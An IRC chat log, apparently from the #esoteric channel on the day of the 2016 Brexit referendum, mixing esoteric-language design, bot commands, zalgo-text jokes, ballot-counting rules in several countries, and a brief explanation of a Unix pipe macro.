09:00:47 <^v> sure 09:02:39 I think it is a pretty good and original idea 09:02:53 <^v> what is it? (i promise i wont steal it) 09:03:08 <^v> i have a pretty original idea for one too, using only ^ and v 09:03:20 <^v> memory struture and commands consist of a binary search tree 09:03:29 <^v> ^ goes up v goes down 09:03:30 Is your name based on that 09:03:35 ? 09:03:40 <^v> the language is based on my name 09:03:47 ok 09:04:22 so, the main distinguishing feature of this lang is twofold 09:04:59 Variables are functions. Variable/functions are numbers 09:05:43 Variable values cannot be accessed: There are no conditionals, or accessing of values. 09:06:03 I can't make ^v's promise 09:06:28 <^v> hppavilion[1] is going to copy a brainfuck derivative 09:06:43 ^v: I didn't say I /would/ steal it 09:08:25 so, every program is a base seven number, however it uses specific characters for each digit: +, for example 09:08:58 The reason that it is thought of as a number, is because it can be incremented 09:09:47 <^v> so the recipe for a good esolang is 09:09:49 <^v> simple 09:10:00 <^v> unintuitive, but not limiting 09:10:47 Nothing in this language is expressly introduced for difficulty of programming, like intercal's please stuffs, or do, for example. 09:11:14 <^v> well if you make it too easy where is the fin? 09:11:16 <^v> fun* 09:11:27 I never said it was easy 09:11:52 It's still a turing tarpit 09:11:55 maybe 09:11:59 assuming its tc 09:13:16 This language is one of the most reflective lanugages 09:13:23 If it is not the most reflective 09:13:48 Functions are not declared, they are assumed to exist at all times, and are simply modified 09:14:49 Oh, I just had an idea for how to implement a conditional substitution. 09:15:27 I'll probably be back 09:15:31 -!- Destructible has quit (Quit: Page closed). 09:18:43 -!- lambda-11235 has quit (Quit: Bye). 09:19:25 -!- AnotherTest has joined. 09:38:20 `unidecode ㍰ 09:38:42 Hm, there's TIL- Today I Learned 09:38:49 But there's no THL- Today Humanity Learned 09:38:50 ​[U+3370 IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR] 09:39:33 h#esotericllo 09:41:18 that's going too far -_- 09:42:07 \oren\: ping 09:42:49 @tell \oren\ in http://www.orenwatson.be/verne.htm , in the cyphered version, on the top row second block, you're missing on the top row second block, you're missing 09:42:49 Consider it noted. 09:44:03 This channel is silent now because all the Brits are in the voting rooms, right? 09:44:28 (And a third of the channel is Brittish, the other third is Finnish.) 09:45:16 -!- MoALTz has joined. 09:48:01 -!- Destructible has joined. 09:48:04 hi 09:51:13 hello 09:58:01 -!- Destructible has quit (Quit: Page closed). 09:58:22 -!- Destructible has joined. 09:58:27 hello 10:05:58 -!- xkapastel has quit (Quit: Connection closed for inactivity). 10:13:09 HI] 10:13:28 -!- Destructible has quit (Quit: Page closed). 10:18:15 `thanks Cale 10:18:21 Thanks, Cale. Thale. 10:18:33 `thanks ants 10:18:34 Thanks, ants. Thants. 10:18:52 very memes 10:19:49 `? new albumen 10:19:51 new albumen? ¯\(°​_o)/¯ 10:19:51 `thanks yanks 10:19:52 Thanks, yanks. Thyanks. 10:19:57 scow 10:20:04 `thanks banks 10:20:05 Thanks, banks. Thanks. 10:20:06 `thanks thanks 10:20:07 Thanks, thanks. Thanks. 10:20:21 `run cat $(which thanks) 10:20:22 -!- Phantom_Hoover has joined. 10:20:23 ​#!/usr/bin/perl -CSDA \ $_ = (join " ", @ARGV) || `words`; s/^\s+|\s+$//g; print "Thanks, $_. "; if (/[aeiouyAEIOUY]/) { s/^[^aeiouyAEIOUY]*/Th/; } else { s/^./T/; } print "$_."; 10:20:31 `thanks anks 10:20:32 Thanks, anks. Thanks. 10:20:58 `thanks hanks 10:20:59 Thanks, hanks. Thanks. 10:22:27 `thanks nks 10:22:29 Thanks, nks. Tks. 10:22:35 tsktsk 10:23:04 `thanks you 10:23:06 Thanks, you. Thyou. 10:23:17 er 10:40:47 -!- MoALTz has quit (Quit: Leaving). 10:41:24 `cat bin/makelist 10:41:26 file="bin/$1"; shift; cp bin/emptylist "$file"; for n in "$@"; do echo "$n" >> "$file"; done 10:41:33 `makelist stylist 10:41:37 No output. 10:42:19 `makelist idealist 10:42:25 No output. 10:42:33 `makelist minimalist 10:42:36 No output. 10:42:37 enough lists 10:42:40 ^thanks banks 10:42:40 Thanks, banks. Thanks. 10:42:48 ^show thanks 10:42:48 >2,[>,]+15[>+6>+7>+3>+2<4-]>-6.>-.-7.+13.-3.+8.>-.>+2.<5[<]>[.>]>3+2.>.<3.<2[<]>[[-<2+>+>]+<-97[-4[-4[-6[-6[-4[>-<[-]]]]]]]>[[>]>2-11.<3[<]<.>3[.>]>3.>5][-]>]<3[[<]>2[.>]>5.>2] 10:42:52 i was going to use stylist to insult someone by calling them a pig 10:42:57 which i guess is a popular insult 10:43:14 but then i didn't want to insult anyone 10:43:34 ^show thanks. shanks. 10:43:44 All the trains are being wonky. :/ 10:43:55 oh man 10:44:03 you know who wants to hear about wonky trains 10:44:34 fizzie, yeah, apparently the underground flooded? 10:44:39 "Poor weather in the south of England is causing disruption to South West Trains services. Passengers are advised not to travel." 10:44:58 Taneb: I haven't even gotten that far yet. 10:45:09 Oh no! 10:45:36 Luckily a) I am not planning to travel today, and b) I'm very much not in the south of England 10:45:58 i'm in a similar position 10:46:05 `8-ball Is the underground flooded? 10:46:06 Most likely. 10:46:10 `8-ball Have you voted yet? 10:46:11 Except I'm planning to travel to San Francisco today. 10:46:16 You may rely on it. 10:46:23 shachaf, well, I'm not in the south of England, and you're not in the south of England 10:46:24 fizzie: What kind of flour do I use? 10:46:34 Taneb: let's call the whole thing of 10:46:44 shachaf: wheat flour 10:46:59 District line from the Wimbledon direction would've been my fallback option for these trains, but apparently that's indeed flooded. 10:47:01 shachaf, I'll call it off when I find someone who says potato like that 10:47:26 shachaf: Semi-coarse. 10:47:38 b_jonas: What protein content? 10:49:30 «Flours between 90 and 160 W are called "weak flours".» 10:49:38 I never considered the wattage of my flour before. 10:50:26 -!- Destructible has joined. 10:50:27 hi 10:51:09 -!- MoALTz has joined. 10:51:19 @todo 10:51:19 0. SamB: A way to get multiple results from a google search 10:51:19 1. dons: improve formatting of @dict 10:51:19 2. dons: write Haskell Manifesto 10:51:19 3. lispy: don't let lambdabot's prettyprinter split the sequence @foo across lines 10:51:19 4. TheHunter: priviledged users should get priviledged listcommands. 10:51:21 [43 @more lines] 10:55:56 ;___; such nostalgia 10:55:59 that list must be a decade old 10:56:17 @more 10:56:17 5. TheHunter: @type 1 :: Int 10:56:17 6. lispy: haddock gives a link from a type signature to the types. It would be nice if it also let you find functions in the given module that use a type. 10:56:17 7. dons: Implement @whatis 10:56:17 8. dcoutts: implement @cool list, as a clone of the @todo(-add) commands 10:56:17 9. dons: there's some bug in the 'when i left' code of @seen 10:56:19 [38 @more lines] 10:56:24 `? priviledge 10:56:29 priviledge? ¯\(°​_o)/¯ 10:56:46 :t 1::Int 10:56:46 @cool 10:56:46 unexpected end of input: expecting number, "d" or "(" 10:56:47 Int 10:57:06 oh. @roll 10:57:24 haha, good eye 10:57:26 1d20 10:57:26 int-e: 11 10:57:34 I know the parse error :) 10:57:51 -!- Destructible has quit (Quit: Page closed). 11:02:51 -!- Koen_ has joined. 11:06:51 `bardsworthlist 2016-06-23 11:06:54 bardsworthlist 2016-06-23: b_jonas 11:12:38 b_jonas: What's bardsworthlist for? 11:12:42 `? bardsworthlist 11:13:06 bardsworthlist is update notification for the Bardsworth webcomic. http://www.bardsworth.com/ 11:13:14 Oh 11:13:27 I was hoping it was an update notification for h4gb4rd 11:25:38 -!- Koen__ has joined. 11:27:51 -!- Koen_ has quit (Ping timeout: 240 seconds). 11:30:30 -!- boily has joined. 11:53:13 BREAKING: Lazy computer scientists prove that P ≈ NP 11:58:10 -!- Destructible has joined. 11:58:12 hi 12:01:51 -!- copumpkin has joined. 12:01:59 Is it slightly after 23:00 UTC that the voting stations close and exit poll results will be published? 12:02:10 I thought they weren't doing any exit polls for this. 12:02:47 hppapproximativellon[1]! 12:02:55 Destructibello! 12:03:04 b_jellonas! which voting stations? 12:03:07 fizziello! 12:03:09 fizzie: what? why would they ever NOT do exit polls 12:03:11 And I think it's 21:00 UTC? At least it's 22:00 BST, and BST is UTC+1. 12:03:20 boily: the last ones for the Britain EU referendum today 12:03:33 oh right, it should be 21:00 UTC 12:03:40 not 23:00 UTC 12:03:54 b_jonas: http://www.independent.co.uk/news/uk/politics/eu-referendum-exit-poll-who-has-won-remain-leave-brexit-live-updates-a7094886.html "EU referendum: Why is there no exit poll for the vote?" 12:08:06 if the UK leaves, will Taneb be able to join this chännel? 12:10:39 fizzie: I see. 12:11:00 I think that my new idea for an esolang will be good. Would you like me to describe it? 12:11:11 That means I'll find out the result tomorrow. 12:11:27 boily : as long as this channel keeps the strait of Dover 12:12:14 Yurumello_. that is unconditional. Dover is us! 12:12:18 Destructible: describe away! 12:12:22 boily: I think he will be, but he'll have to use a different server. This is *relay* chat, which means there can be a relay link between the EU and UK servers. 12:13:19 My esolang is what I think is a very original idea, or at least a collection of ideas that are a unique collection 12:14:20 Yurume_: have I ever asked you the The Question? 12:14:22 Are there any problems that are /literally/ unsolvable on CCs but not on QCs? 12:14:55 boily : is that The Question? 12:15:20 A program in this esolang consists of a sequence of 7 characters. Other characters are syntax errors. These characters are: [space], |, _, +, -, *, ^, @. 12:16:09 This forms a base seven number. The fact that it is a number is, in fact, relevant (There is a reason that it is a number, compared to other languages) 12:16:14 Yurume_: no, the The Question is: what are your approximative geographic coördinates and body weigh? 12:16:50 have I said that I am an alter ego of lifthrasiir? 12:17:41 Destructible: you realize those are eight characters, right/ 12:18:02 wait a minute 12:18:09 I did something wrong right now 12:18:10 lol 12:18:24 do you mean a sequence of characters, where the only legal characters are those seven? or do you mean the program should be seven characters long? 12:18:30 I did it wrong because of the way numbers are represented 12:18:43 anyway, it is base eight then 12:18:51 DX 12:18:57 continuing 12:19:19 Yurume_: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAURGH! 12:19:34 Space is a nop. this is used as the default values of digits. 12:20:26 | causes all code until the next | to be considered as a function name. This function becomes the active function 12:20:27 boily : (mobile bouncer to be exact. this nick is also what I use for moznet) 12:21:02 boily : a mobile bouncer to be exact 12:21:02 Active function simply allows commands that affect the active function to work on it. It does not run the function 12:21:12 and I use this nick in moznet 12:21:22 Yurume_: right 12:22:48 _ causes all code until the next _ to be interpreted as a number in base seven . the next command is executed this many times. 12:23:04 (this is why I made the mistake) 12:23:20 + increments the current function 12:23:34 - does what you probably think 12:23:53 @ executes the current function 12:24:53 I shall depart in shame and go shower my mind with the cleansing ritual hot water and soap. my ability to distinguish alternative nicks is unacceptable! 12:25:00 -!- boily has quit (Quit: PINEAL CHICKEN). 12:25:02 once the current function is done, it will return to the digit that has the same significance as the one the function was called from, in the function it was called from (because functions are layered) 12:26:20 speaking about nicks, the nick Koen is register on freenode 12:26:24 I need to change my name 12:28:16 * turns all code until the next * into a number. It inserts a digit so that it will be this number up in signifcance. example of digit numbers: +<-3 +<-2 +<-1 -<-0 12:29:09 ^ turns all code until the next ^ into a number, and removes the corresponding digit from the actuve function 12:29:23 clarification: * inserts into the active function 12:29:41 also I made a mistake 12:29:48 It isn't actually base 7 12:30:15 it is an unorthodox numbering system 12:30:31 " +"≠"+" 12:30:47 this might explain 12:30:48 0 = [null] 1 = " " 2 = "+" 3 = "-" 4 = "@" 5 = "|"/"_" 6 = "^"/"*" 7 = "*"/"_" 8 = " " 15 = "+ " 57 = " " 12:30:59 Part of the info is encoded into the amount of digits 12:31:27 OMG 12:32:13 I submitted a comic to a site, and they uploaded it! (The community contributes all the comics) 12:38:34 -!- Etaoin has joined. 12:38:44 hi 12:38:50 ey 12:39:28 I just got my comic uploaded to a comic site (where the community contributes) 12:40:01 Don't you hate it when you watch a video and think "Huh, interesting, I'll have to look into that later" 12:40:11 And then forget everything but a single detail about the video? 12:40:21 yeeeaah that sounds nasty 12:40:27 what kind of comic? 12:41:46 Oh hai der etaoin 12:42:06 there's probably another etaoin :( 12:42:22 I just stole this username for now 12:43:25 does anyone know of a quantum turing machine programming language? as in something like brainfuck that'd run on a quantum computer/simulator 12:44:02 nvm I found it https://esolangs.org/wiki/Quantum_brainfuck 12:44:28 The comic site is "Square root of minus garfield". It consists of garfield edits 12:45:49 are you Nyperold? 12:46:16 Etaoin: note that most esolangs with "quantum" in their name or first paragraph of the description don't actually have anything to do with quantum computing 12:47:02 @b_jonas how come? 12:47:02 Unknown command, try @list 12:47:09 b_jonas, how come? 12:48:14 would you like a link to my comic, that got uploaded? 12:48:44 that'd be nice yeah 12:48:59 Etaoin: quantum is just a popular buzzword that people try to invoke 12:49:16 http://www.mezzacotta.net/garfield/?comic=2590 12:50:21 these are way too abstract for me :D 12:50:45 The comic? 12:50:57 all of them on the website 12:51:14 Yeah 12:53:03 If they are too abstract, there is always the memes. T̨H̕ey ͡n͢ever ̶go͟ ͘away 12:53:14 T͌͒̆ͤ͜H̴ͭ͂̿̚ȅͨ ̵ͩͩ̈͌̉̔̆m͆̊ͣ̿͒̇ͭėͣ̈́m͢eͭ̽ͧ̏͒͑҉s̓ ̷ͨ͆̿wͣ̃͢i͞l̨ͪ͊́ͥl̷̅̈́̋ ̷n̷ͤ̀͛̒̇̆̅evͣ͛̉͂͏e͐̾rͣ͌͐͆ͫ̄ ̋́͢l͑e̷̅ͯä͆̏͛͞vͫ͗̂̐̚ȅ̃ͣͪ̌̚̚ 12:54:16 T͕̫̟̬̠̘ͅh͙͎̹̳͉̘ͯ̊̔̚è̹͓ͩ ̟̞̭͑͌̊̃ͪ͟p̄̈́ͥͥͨͣu̜̬͈̻͇ͥ͌ͅd̲̊̇̾̋͑͘d̻̻͉̱̟̯̜i̸̝̭ͤ̑ͨ͌ͣn̜̗͔̠̂ͦͦͨ͆͛̀g̴͖̠̮͔̭͌̔̂ ̹ͦ́͋͠p̌̄̽̊̽o̶̝̅͋ͮp̤͔͚̥̿ͤͥͫs̹̹̏ ͤ̂ͭ̔̽̽a̻͚͐̄̒ͫ̆r̛͍̭͍̬̖̬̆ͣ̉e̯̩̜̠ Ę̶̸̛̮̦̞͈͚͇̙̤͚̰͉̥͖̔ͥ̀̈͞ͅt̸͐̆ͮ̉̃҉̨̦̜̱̠̮̟̜̳̯̦͎͟ę̴̹͓͕̝̜̖̦͐̍ͭͦ̋͌͑̒͊ͣ͜ 12:54:34 T̵͎̻̙̜̭̆̐͒̉̊͐ͮ̉ͫ̏͜͡͞H̷̛̩͕̩̬͖̙̗̲̩̣͚̼͈̖̼̝̔͌ͮ̈́̈́̓̏͗͒ͫ̿́ͦͣ̾́̚͝ͅE͉̞͔̭͇͖̤̼̯̞̹̓̓̔̅̆ͩͣ͑͆̂͗͛͌ͯ̀́ ̢̮̣̝͖͎̐͋ͯ̾ͦ̾ͨͥ̓ͥ͆͟P̲̹̝̠̼͇͖̞͓̞̘̻̫̏̆͂͒ͮͥ̄̕ͅŲ̶̶̤̻̤̪͍̳̲̞̪̣͚̬̦̬ͦ͛̐ͦͤ̐̊͘͞ͅD̸̡̡̬͉̼̻̰̻͎̙̤͓̖̤̼ͦ͋ͣͤ̃̄̑ͩ̌̄ͤͤ͐ͨͫ̊̚D̶̛͉̤̫̜̗͍͂̍ͥ͂͑̿̔̊̌̒̋͜͜ͅIÌ„Í©ÌšÍ¦Ì 12:55:03 T̵̨̈́ͤ́̏́̾̇̚͏̗̠̙̹̖̺͇̮͈̣̠̩̼H̸̷͍̰̣̤̲̩̩̗̗̲̺̬̩̜̟ͯͧ̉̓̔̍̄ͩ͛̑ͣͨ̓͂ͧ́̚͝ͅḛ̴̛̪̭ͬͫ̿ͤ̇͛̂̿̑̾̀̆̄̚̕͟ÿ̵̧̬̫̭́̍̑ͦ̇̾̎͗ͅ ̷̴̱̪̪̭͕̝͓̩̠̝̪̬̼̯̩̻̭ͨ͒̐͐̋ͦ͆ͩͤ̈́̽̔ͤ͋̊ͭ̕ͅͅĉ̨̼͕͔͉̖̹̰̠̫̭̞̼̤ͯ͂̎͗ͪ̌͐̑̂͌ͬͥ̄o̵̢̹̗̮̰̣̜̊ͥ͐̈̒͐̃ͧ̄m̷̡̬̦͕̙͕͇̜͓̤̮̺̦ͪ͂͋̒͋̅ͧͨͣ͛̓ͬ͗ͭ̈́̏͝ͅ 12:56:19 P̸̱͕͕̮̜̹̮̜͍͉͝ͅU̵͏҉̴͈̖͓͔̹̼̞̬̳̬͔͖͓͇͔D̢͓̭͈̀̀̀͝D̶͓̲͉̜͉̣̲̝͉̤͍̥͙̞͇̮̠͔͝Ì̡̡̲͉̥̩̘͟Ṉ̢̺͈̟̳̳͙͈͔̰̺̼̲̝͚͉̙̗̲͟G͎͓̥̼̰͎̝̫͕̪̺̥͎͎͇̱͎̕͘ ̶̛̲͍͙͇̦͇̯̰̫̹̱͞P̶҉͡҉͚͓̫̹̮͍̘Ǫ̶̶̭͔̰̩̺̯̮̣͓̼̟̯͡P̨͉̭̪̗̼͖̮͉͕̮͖ͅͅS̴͟͜҉̨̖̟͖͈͇̪̲͇͚̱̱͍̭̳͎͙.̴̛͙̞̞̩̩̬͖͓͞͞ ̡̩͍̪̙͝͡TÌ§Ì¢Í 12:56:30 wtf 12:56:51 PUDDING POPS. AUAHAAUA 12:56:58 P̵̡̞͈͕̹̒̐̀͛ͮ̿ͫͨ̑̈̿̊ͪ̈ͣ̾̎̑Ư̡̨͈͕̰̰̺̘̦̮̠̝͎̺̲ͪ̾ͨ̑ͨͫ̈́ͦ͋̈́͜͢D̵̡̻͎͙̜̖͍̩̩̩̙̫̜͊̈́ͦ̅̆̔̈ͨͮ͐̌͋̾̐̏̿ͥ̿́̀ͅD̶̛͇͈͈̹̰̬̖̝̞̻̲̦̠̳ͭͦ̄̎͛ͤ̋̅ͮ̔̈̌̓͆́ͣͩ͟Iͤͧ̽̇͠͏̶̮͍̻̻͕̞͕͞N̮͇͙̗͕͈̯̗̹͚͎̣̼̯̞̞̭̔̉͗̄̔ͭ̇̄ͯ̅ͥ͊͆̑ͦ̊͝ͅĢ̷̜̟̘͔͚̬͉̲̗̞̼̣͎̬̺͔̮̤̝͐ͥͫͫ͌͂̄ͭ̿ͩ͆̓̀̀̚͝ ̓̃ 12:57:01 -!- Destructible has quit (Quit: Page closed). 13:02:23 -!- Koen__ has quit (Remote host closed the connection). 13:05:31 -!- Destructible has joined. 13:05:35 I'm back 13:14:51 -!- Destructible has quit (Quit: Page closed). 13:16:18 Oooh, it looks like sin'(x) is the same as cos(x) 13:18:24 why put the ' there 13:20:13 derivative 13:20:25 cos'(x) is -sin(x) tho 13:20:44 it's a nice little pattern akin to exponentiating i 13:21:41 -!- Koen_ has joined. 13:22:26 sin'(x) = cos(x), cos(x)' = -sin(x), -sin'(x) = -cos(x), -cos'(x) = sin(x); similarly i^2=-1, i^3 = -i, i^4 = 1, i^5 = i 13:23:00 always thought it was a neat similarity 13:24:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 13:24:33 whichever community I join there's always a person called dingbat, it's remarkable 13:28:00 -!- Sgeo_ has quit (Ping timeout: 246 seconds). 13:33:49 -!- Etaoin has quit (Quit: Page closed). 13:36:39 -!- Koen_ has quit (Remote host closed the connection). 13:44:25 It's all because of circles. 14:19:02 -!- Koen_ has joined. 14:19:34 is it always the same dingbat? 14:35:57 -!- heroux_ has joined. 14:36:04 -!- heroux has quit (Read error: Connection reset by peer). 14:36:20 -!- heroux_ has changed nick to heroux. 14:47:54 -!- `^_^v has joined. 14:54:29 -!- Alcest has joined. 14:59:36 -!- oerjan has joined. 15:01:40 -!- Sgeo_ has joined. 15:14:02 -!- heroux_ has joined. 15:15:08 -!- heroux has quit (Ping timeout: 244 seconds). 15:15:12 -!- heroux_ has changed nick to heroux. 15:16:33 hm bitcoin bubble bursting 15:23:32 Again? 15:23:56 pop the balloons! 15:24:00 -!- spiette has joined. 15:25:18 A big balloon was popped here a while ago. 15:25:22 It made quite a bang. 15:25:55 (Apparently the ceiling has some pointy bits.) 15:26:02 oh it's approaching another halving... that may be fun to watch 15:27:18 -!- bradcomp has joined. 15:40:17 -!- iaglium has joined. 15:51:14 oerjan: dammit. couldnt it wait one more day? 15:51:44 were you going to sell 15:53:10 i was going to make a purchase. i had just barely enougb. now i have not enough. 15:53:49 :( 15:54:21 so i guess ill buy? 15:54:34 quintopia: don't worry, your GBP will also be worth either much more or much less than now tomorrow evening. 15:54:41 so the bitcoin isn't the only thing that changes 15:55:29 i have no GBP holdings 15:56:59 -!- Koen__ has joined. 15:59:02 -!- Koen_ has quit (Ping timeout: 244 seconds). 16:01:43 -!- Guest51928 has quit (Changing host). 16:01:43 -!- Guest51928 has joined. 16:01:48 -!- Guest51928 has changed nick to JX7P. 16:04:56 quintopia: the EUR holdings will also change somewhat, I think 16:09:31 There were people at the train stations wanting me to vote in a certain way. 16:09:47 One of them tried to give me an "I'm in" button. 16:10:48 -!- Koen__ has quit (Remote host closed the connection). 16:10:57 -!- bender has quit (Ping timeout: 250 seconds). 16:11:12 "EU referendum day live: Police called over conspiracy theory about voting with pens" 16:11:27 I saw that 16:11:28 it's absurd 16:11:38 "Social media claims that Remain supporters are trying to ‘rig’ the election by rubbing out votes cast in pencil led to Brexit supporter Jacqueline Jackson handing out pens at her local polling station in Chichester." 16:12:03 I've seen a properly implemented election process 16:12:19 there are multiple sets of eyes on the entire contents of the ballot box from the moment it's opened 16:12:32 and the box itself is in plain sight throughtout the day 16:15:09 <\oren\> When do the results get tallied on TV? 16:15:26 b_jonas: i have none 16:16:50 <\oren\> I have about 600 pounds in a jar somewhere 16:17:11 <\oren\> and about the same of Euros 16:17:51 <\oren\> because we never rember to change currencies at the airport 16:18:12 i took out 300 euros for a holiday just now but i suppose if brexit happens i can make a profit on them 16:19:23 \oren\: They said the result's likely known at around 6-7am Friday local time. 16:19:33 the official final result 16:19:46 It's going to start dribbling in before that, of course. 16:19:49 the outcome may be clear earlier based on incoming polls 16:19:52 my bet's on Remain 16:20:43 my favourite thing about the pencil thing is 16:20:49 I don't have a bet, but I'd like it to be that. Of course nobody's asked me, and I'm one of those people the other camp would presumably want to keep out, so. 16:21:07 you can just scribble out a cross written in pen and put a cross in the other box 16:21:14 and that'll be interpreted as a clear preference anyway 16:21:41 <\oren\> Hmm? in Canada you have to fill the entire square 16:21:51 -!- Koen_ has joined. 16:21:53 apparently in the western isles they once had a ballot with 'wank' written next to all of the candidates except for the snp one who had 'good guy' written there 16:22:03 and that was considered clear enough to be counted 16:22:12 In Finnish elections, you type in a number inside a giant circle. The polling stations have a sample sheet of how to write numbers on the wall. 16:22:31 <\oren\> Phantom_Hoover: LOL 16:22:48 Phantom_Hoover: lol 16:22:49 http://static.liljat.fi/uploads/2012/10/melissa-mantyla-endorses-lilja-tamminen-finnish-ballot-helsinki-municipal-elections.jpg <- looks like that. 16:22:55 that wouldn't fly here in canada 16:23:04 in canada you can do anything you want as long as you mark in exactly one of the circles 16:23:10 any markings in multiple circles invalidate it 16:23:16 i saw a duck once 16:23:21 it was counted as a valid vote 16:23:55 I believe they're very picky back in Finland, I think many extra things like doodling on the card would invalidate a vote. 16:23:56 ??? so you can't correct your own vote? 16:24:08 Phantom_Hoover: you can go back to the DRO and ask for a new ballot 16:24:16 ah 16:24:30 in which case the previous ballot is crossed out, marked as invalidated, and put into a separate envelope to keep it from being counted 16:24:34 and you get a new one 16:24:38 you can only do that once though iirc 16:25:00 no in the UK it's a pretty informal thing, i think basically they put all the spoilt ballots in a big pile and then the representatives of each party haggle over what gets counted for whom 16:25:10 Phantom_Hoover: in theory that can happen here 16:25:18 in practice it's pretty rare since the rules are generally quite clear 16:26:40 You can request a new ballot in Finland as well, if you screw up. The instruction booklet says they'll rip up the bad one. 16:27:01 Or possibly you do. It's in passive voice, and just says the ripping will be done so that the officials see it. 16:28:06 Ooh, there's a 7-point list in the law as to what sort of markings actually invalidate a vote. 16:28:15 <\oren\> coppro: Really? I thought you had to completely fille whichever box you wnat and do nothing in the other boxes? 16:28:29 1) There's more than one ballot, or something else in addition to the ballot in the envelope. 16:28:52 2) There's any markings in the *envelope*. 16:29:11 3) The ballot is some other piece of paper than the one printed by the government. 16:29:18 4) The stamp is missing. 16:29:39 Phantom_Hoover, that's what happened when I was involved in the youth parliament, I think on the basis that it would be similar to actual parliament 16:29:41 5) The candidate number isn't clear enough to unambiguously say who it meant. 16:30:22 6) The ballot has the voter's name on it, or a recognizable mark, or "other irrelevant markings". 16:30:33 7) The candidate number isn't valid. 16:31:00 But apparently if you do additional markings to clarify who you meant to vote for (I guess maybe the candidate name) that's okay. 16:31:06 Phantom_Hoover, I lost a vote because someone had put a tick in my box and a cross in all the other boxes 16:33:45 The way it works in Finland, you fold the ballot so that the number's not visible, bring it to the desk, the officials stamp it, then you put it in the box. It felt weird to vote here because the ballot wasn't of the folding kind. 16:33:46 Taneb, was that not a unique identifying mark for you? 16:34:07 Phantom_Hoover, no, on the basis that a cross is the recommended mark to make for the candidate you wanted to vote for 16:34:56 @tell boily the USPS website doesn't like your city or province to be spelled correctly. (maybe their system just can't represent "é") 16:34:56 Consider it noted. 16:34:59 wait what? what would you normally vote with, if not pens? 16:35:18 Taneb, but could you not argue that in that situation that they still clearly expressed a preference? 16:35:37 b_jonas, the polling stations provide pencils 16:35:54 Phantom_Hoover, not, like, when I was 15 16:36:05 Taneb, this is why you never got ahead in politics 16:36:08 And I won the election by a landslide anyway 16:36:12 " you can just scribble out a cross written in pen and put a cross in the other box / and that'll be interpreted as a clear preference anyway / apparently in the western isles they once had a ballot with 'wank' written next to all of the candidates except for the snp one who had 'good guy' written there" 16:36:59 what? we have RULES for that sort of thing. you vote by putting a cross or plus sign in any single circle. if you put marks in more than one circle, it's an invalid vote. 16:37:22 and that's even written clearly in the instructions hung on the wall in election places. 16:37:35 Phantom_Hoover, also, like, I'm really not an assertive chap 16:37:39 I'd be terrible in politics 16:37:49 and they always give you ballpoint pens, not pencils. 16:37:57 b_jonas, the rules are basically the same here but they allow for counting votes if all the interested parties agree on the interpretation 16:39:20 " there are multiple sets of eyes on the entire contents of the ballot box from the moment it's opened" => exactly, and that's necessary too, because without that, someone who can write on the slips could just void a vote by marking multiple circles (that doesn't change it to a different valid vote, but still changes the count) 16:40:44 " Phantom_Hoover: you can go back to the DRO and ask for a new ballot" => this, yes 16:42:23 can someone explain me why this is useful? 16:42:26 # define pipe(v) ((socketpair(AF_UNIX,SOCK_STREAM,0,v)<0||shutdown((v)[1],SHUT_RD)<0||fchmod((v)[1],S_IWUSR)<0||shutdown((v)[0],SHUT_WR)<0||fchmod((v)[0],S_IRUSR)<0)?(-1):0) 16:42:27 @tell boily if the UK leaves I have a backup plan 16:42:27 Consider it noted. 16:42:55 redefining pipe to use socketpair + shutdown x2 + fchmod x2 16:43:31 there was no comment around that in the source 16:44:47 izabera: I think that was for older Linux systems where a pipe had a kernel buffer with its size hard-fixed to some too small value, whereas a stream socketpair provides similar semantics and has a larger buffer by default and you can change its buffer size. 16:45:05 izabera: if the buffer is too small, that could cause too many process switches when large data is sent. 16:45:19 interesting 16:45:23 izabera: this is no longer a problem (on Linux), because these days Linux uses a larger buffer for a pipe 16:45:45 izabera: Windows 7 uses a small buffer by default but they have an OS-specific way to change that. 16:45:53 per pipe-pair that is. 16:46:49 izabera: the fchmod looks pretty stupid though 16:46:56 Taneb, does it involve fucking off to the netherlands? 16:47:04 i didn't write it 16:47:16 afaik the author is david korn 16:48:24 izabera: sure, I'm just saying 16:49:52 `wisdom 16:49:55 `? pipe 16:49:57 `wisdom 16:50:03 wisdoom 16:50:24 `? wisdoom 16:50:49 No output. 16:50:50 This is not a pipe. 16:50:58 procrastination//The Procrastination is destined to rule the world... right after watching this last funny cat clip on youtube. 16:50:59 Wisdoom is realizing just too late how you could have avoided your demise. 16:52:37 `? wisdom 16:52:39 wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø? 16:52:41 `? wisdom 16:52:43 wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø? 16:52:44 `? wisdom 16:52:46 wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø? 16:52:46 oh 16:52:48 `wisdom 16:52:51 auto//Auto is the German word for car. 16:52:54 `wisdom 16:52:56 superexponential growth//Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!! 16:52:57 `? char 16:52:59 `wisdom 16:53:00 Char is a prominent component of charcoal. 16:53:01 log//I think you might mean !logs 16:53:09 `wisdom 16:53:11 enrichment centre//The Enrichment Center regrets to inform you that this next test is impossible. 16:57:56 I have this superexponential growth under my armpit 16:58:13 <\oren\> Stupid Expensify is malfunctioning 17:06:00 If a tree falls in a forest, does it create a log? 17:06:27 @tell \oren\ in http://www.orenwatson.be/verne.htm , in the cyphered version, on the top row second block, you're missing on the top row second block, you're missing <-- i'm sure that cleared things up. 17:06:59 fizzie: does it fall publicly in the channel? 17:07:12 `? #esoteric 17:07:13 ​#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts. 17:09:20 -!- Frooxius has quit (Quit: *bubbles away*). 17:09:36 -!- Frooxius has joined. 17:17:38 `? priviledge 17:17:40 priviledge? ¯\(°​_o)/¯ 17:20:05 -!- oerjan has quit (Quit: Later). 17:25:45 Phantom_Hoover, basically, yeah 17:29:29 i need an address where it's possible to write without damaging the system, but outside my address space 17:33:43 <\oren\> on what platform? 17:33:54 linux 17:33:59 x86_64 17:38:09 <\oren\> From user mode, writing anywhere in kernel space won't damage the system. 17:38:48 <\oren\> you'll get a segfault (damaging your own process) but the rest of the system won't be affected 17:39:24 <\oren\> for example, 0xFFFFFFFFFFFFFFFF is an adress in kernel space 17:41:11 good thanks 17:43:02 -!- Kaynato has joined. 17:47:49 -!- Koen__ has joined. 17:50:07 -!- Koen_ has quit (Ping timeout: 244 